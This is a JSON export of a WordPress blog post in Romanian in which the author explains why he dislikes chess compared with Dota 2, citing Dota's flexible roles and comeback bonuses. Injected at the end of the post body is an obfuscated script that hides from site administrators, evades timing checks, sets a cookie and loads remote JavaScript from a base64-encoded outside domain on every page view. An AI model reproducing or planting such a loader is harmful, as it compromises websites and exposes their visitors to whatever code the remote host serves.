{"id":4401,"date":"2016-12-12T18:52:25","date_gmt":"2016-12-12T16:52:25","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4401"},"modified":"2025-10-17T20:06:26","modified_gmt":"2025-10-17T17:06:26","slug":"tocmai-am-realizat-de-ce-nu-mi-place-sahul","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2016\/12\/tocmai-am-realizat-de-ce-nu-mi-place-sahul\/","title":{"rendered":"Tocmai am realizat de ce nu-mi place \u015fahul"},"content":{"rendered":"<div class=\"entry\">\n<p style=\"text-align: justify;\">Pentru a putea explica chestiunea, s\u0103 povestesc pu\u0163in \u00eens\u0103 de ce-mi place Dota (doi). Apoi revin la \u015fah.<\/p>\n<p style=\"text-align: justify;\">\u00cen Dota, ai dou\u0103 op\u0163iuni mari \u015fi largi: te ba\u0163i cu mediul (PvE adic\u0103 ((Player versus Environment.)) ), sau te ba\u0163i cu ceilal\u0163i eroi (PvP cum ar veni ((Player versus Player.)) ). Ambele activit\u0103\u0163i sunt viabile \u00een contextul potrivit &#8211; dac\u0103 eroul t\u0103u se preteaz\u0103 pentru ele, dac\u0103-i momentul propice \u00een economia jocului, \u015famd.<\/p>\n<p style=\"text-align: justify;\">Indiferent de stilul preferat, jocul are o component\u0103 fix\u0103: victoria se c\u00e2\u015ftig\u0103 prin PvE. Este o vorb\u0103 \u00een\u0163eleapt\u0103 \u00eentre juc\u0103tori, cum c\u0103 tu ai a te lupta cu cl\u0103dirile, nu cu eroii. Eroii adversari sunt acolo s\u0103\u00a0te opreasc\u0103 din a le demola\u00a0turnurile sau bar\u0103cile, \u00eens\u0103 lupta cu ei este op\u0163ional\u0103. Un erou foarte mobil \u00a0-Nature&#8217;s Prophet- poate evita lupta cu inamicul, \u015fi se poate concentra pe a-i distruge pu\u0163in c\u00e2te pu\u0163in structurile una dup\u0103 alta. Pe de alt\u0103 parte, un erou gen Spirit Breaker nu are mare efect asupra cl\u0103dirilor, are un *<em>skillset<\/em>* special g\u00e2ndit pentru a se bate mereu, preferabil cu grupuri \u00eentregi de eroi. Uneori, poate fi frustrant s\u0103 \u00eencerci a juca cu el &#8220;la obiectiv&#8221;, adic\u0103 s\u0103 distrugi cl\u0103diri. Po\u0163i \u00eens\u0103 m\u0103cel\u0103ri eroii adver\u015fi, cre\u00e2nd astfel oportunitatea pentru ca echipa ta s\u0103 d\u0103r\u00e2me cl\u0103diri.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">De ce joc Dota? Pentru c\u0103 \u00eemi \u00eeng\u0103duie aceast\u0103 dualitate minim\u0103 \u00eentre abord\u0103rile meciului; de fapt, pentru c\u0103 \u00eemi ofer\u0103 o mare flexibilitate, care \u00eencepe de c\u00e2nd m\u0103 aflu la partea cu alegerea eroului. Ce vreau s\u0103 fac, mai fac ni\u015fte PvE sau m\u0103 &#8220;arunc&#8221; la b\u0103taie? P\u0103i, p\u0103catele mele, fac exact ce vreau. Sigur c\u0103 nu pot face mereu <em>fix<\/em> ce doresc, un Riki f\u0103r\u0103 banii din PvE intr\u0103 degeaba la sc\u0103rm\u0103neal\u0103 ((Voiam s\u0103 zic ceva de genu&#8217; <em>skirmish<\/em> sau <em>brawl<\/em>, dar .. bleah.)), c\u0103-i \u00eengrozitor de slab. Riki are a omor\u00ee <em>creeps<\/em> la \u00eenceputul jocului, c\u00e2t mai mul\u0163i creeps. Ca orice erou de tip <em>carry<\/em>, de altfel.<\/p>\n<p style=\"text-align: justify;\">\u00cen general \u00eens\u0103, op\u0163iunile r\u0103m\u00e2n pe mas\u0103 timp \u00eendelungat. Ce faci cu un Dazzle la minutul 20? Po\u0163i s\u0103 fii agresiv cu eroii adver\u015fi &#8211; ai un <em>slow<\/em> foarte potent, \u015fi mai ai \u015fi Shallow Grave pentru a-\u0163i men\u0163ine \u00een via\u0163\u0103 un coechipier. Dac\u0103 vrei PvE,\u00a0<em>Shadow Wave<\/em> este o vraj\u0103 care love\u015fte de la 3 p\u00e2n\u0103 la 6 inamici, spre exemplu <em>creeps<\/em>. Dac\u0103 farmezi suficient, po\u0163i cump\u0103ra chestii scumpe dar foarte utile, gen <em>Sheepstick<\/em>, o chestie care transform\u0103 un inamic \u00eentr-o g\u0103in\u0103 incapabil\u0103 s\u0103 atace sau s\u0103 fug\u0103 prea departe.<\/p>\n<p style=\"text-align: justify;\">Idem, chiar dac\u0103 joc cu un\u00a0<em>core<\/em>, pot s\u0103 fac \u015fi pe supportul. De altfel, c\u00e2nd joc Spirit Breaker cam \u00een jum\u0103tate din timp eu sunt \u0103la care cump\u0103r\u0103 curier, cump\u0103r\u0103 <em>wards<\/em> timp de minim 10 minute, vindec lumea cu <em>Urn of Shadows<\/em> fiindc\u0103 nimeni n-a cump\u0103rat un <em>Mekansm<\/em>. Desigur, pe m\u0103sur\u0103 ce tot omor adversari \u00eencep s\u0103 cump\u0103r \u015fi chestii care m\u0103 ajut\u0103 s\u0103 m\u0103 bat, da&#8217; nu se sup\u0103r\u0103 nimeni c\u0103 fac dou\u0103 roluri \u00een unul.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">\u015eahul, prin contrast, este o singur\u0103 chestie.<\/p>\n<p style=\"text-align: justify;\">Ai piesele, care prin existen\u0163a lor \u00ee\u0163i creeaz\u0103 \u015fi materialul \u015fi pozi\u0163ia. Un pion pierdut poate fi o dubl\u0103 pierdere, \u015fi de material \u015fi de avantaj strategic. Sigur c\u0103 \u00een \u00eentrecerile dintre mae\u015ftri, ei pot aborda stiluri diferite. Sigur c\u0103 unii prefer\u0103 s\u0103-\u015fi decimeze \u00eencet-\u00eencet adversarul, l\u0103s\u00e2ndu-l f\u0103r\u0103 piese \u015fi apoi c\u00e2\u015ftig\u00e2nd prin\u00a0for\u0163a brut\u0103. Al\u0163ii prefer\u0103 gambituri strategice, oferind adversarului o iluzorie superioritate numeric\u0103, \u00eens\u0103 ob\u0163in\u00e2nd pentru ei \u00een\u015fi\u015fi o superioritate tactic\u0103 pe care o pot apoi fructifica.<\/p>\n<p style=\"text-align: justify;\">Da&#8217; problema de baz\u0103 r\u0103m\u00e2ne. Mut\u00e2nd o pies\u0103, schimbi \u015fi riscurile asupra materialului, \u015fi riscurile asupra pozi\u0163iei. Un cal mutat la momentul gre\u015fit poate s\u0103 r\u0103m\u00e2n\u0103 peste 5 mut\u0103ri f\u0103r\u0103 spa\u0163iu de manevr\u0103. Sigur, de asta e \u015fi frumos jocul, nimic de comentat. Dac\u0103 ai nervii necesari, dac\u0103 acest\u0103 dualitate \u00een calcule se pliaz\u0103 pe stilul t\u0103u.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">Pe l\u00e2ng\u0103 aceste considerente, \u00eemi mai displace o chestie la \u015fah. \u015ei anume, c\u0103-i neiert\u0103tor.<\/p>\n<p style=\"text-align: justify;\">Nu\u00a0o spun pe sistemul &#8220;s\u0103nisedeie&#8221;. Nu mi-a pl\u0103cut deloc Dota pe vremea patchului 6.83, c\u00e2nd primeai un purcoi de bani doar pentru c\u0103 reu\u015feai s\u0103 omori un erou inamic care p\u00e2n\u0103 atunci te tot omor\u00e2se el pe tine. Nu zic c\u0103 gata, reu\u015fe\u015fti \u015fi tu o chestie, \u015fi brusc s\u0103 se \u00eentoarc\u0103\u00a0ierarhia jocului pe jos.<\/p>\n<p style=\"text-align: justify;\">Totu\u015fi, g\u0103sesc c\u0103-i necesar ceva <em>sliding scale<\/em>.<\/p>\n<p style=\"text-align: justify;\">La \u015fah, dac\u0103 adversarul are 2-3 piese mai puternice \u00een avantaj (s\u0103 zicem c\u0103 \u0163i-a luat un cal \u015fi o tur\u0103 contra doi pioni ai t\u0103i) &#8211; s-a cam dus naibii totul. Gre\u015felile se adaug\u0103 una peste alta, \u015fi devia\u0163ii altminteri micu\u0163e pot conduce la un meci pierdut, dac\u0103 adversarii sunt de nivel similar.<\/p>\n<p style=\"text-align: justify;\">Spre deosebire, \u00een Dota (prec\u00e2t \u015fi-n multe alte jocuri), dac\u0103 omori pe unu&#8217; care te-a omor\u00e2t de 5 ori p\u00e2n\u0103 atunci, prime\u015fti un bonus. Cam ca Robin Hood a\u015fea, e o diferen\u0163\u0103 \u00eentre a-l jefui pe unul care-i piele \u015fi os, \u015fi a-l jefui pe \u015feful de post. Celui de-al doilea m\u0103car \u00eei iei p\u0103l\u0103ria \u015fi calul. Chestia asta \u00eeng\u0103duie \u00een Dota s\u0103 revii \u00een joc chiar dac\u0103 nu ai dus-o str\u0103lucit. Totu\u015fi, reu\u015find s\u0103 omori un adversar mai puternic, premiul este \u015fi el pe m\u0103sur\u0103.<\/p>\n<p style=\"text-align: justify;\">Lipsa acestei chestii m\u0103 deprim\u0103 profund c\u00e2nd privesc la tabla de \u015fah. Da, e teoretic posibil s\u0103 fii un monstru de inteligen\u0163\u0103 \u015fi s\u0103-\u0163i prinzi adversarul ca-n menghin\u0103, \u00eentr-o situa\u0163ie unde tu cu material pu\u0163in de\u0163ii totu\u015fi toate pozi\u0163iile-cheie, deci trebuie s\u0103 sacrifice pe r\u00e2nd toate piesele pe care le avea \u00een avantaj, doar pentru a supravie\u0163ui. E posibil, \u00eentre doi adversari de nivel diferit. Gen, tu mai de\u015ftept ca el.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p style=\"text-align: justify;\">\u015ei cam asta ar fi, cred.<\/p>\n<p style=\"text-align: justify;\">E posibil \u015fi s\u0103 fiu eu un prea slab juc\u0103tor de \u015fah, \u015fi s\u0103-mi scape chestii.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Pentru a putea explica chestiunea, s\u0103 povestesc pu\u0163in \u00eens\u0103 de ce-mi place Dota (doi). Apoi revin la \u015fah. \u00cen Dota, ai dou\u0103 op\u0163iuni mari \u015fi largi: te ba\u0163i cu mediul (PvE adic\u0103 ((Player versus Environment.)) ), sau te ba\u0163i cu ceilal\u0163i eroi (PvP cum ar veni ((Player versus Player.)) ). Ambele activit\u0103\u0163i sunt viabile \u00een &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":{"0":"post-4401","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-jurnal","7":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4401"}],"version-history":[{"count":9,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4401\/revisions"}],"predecessor-version":[{"id":5059,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4401\/revisions\/5059"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4401"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}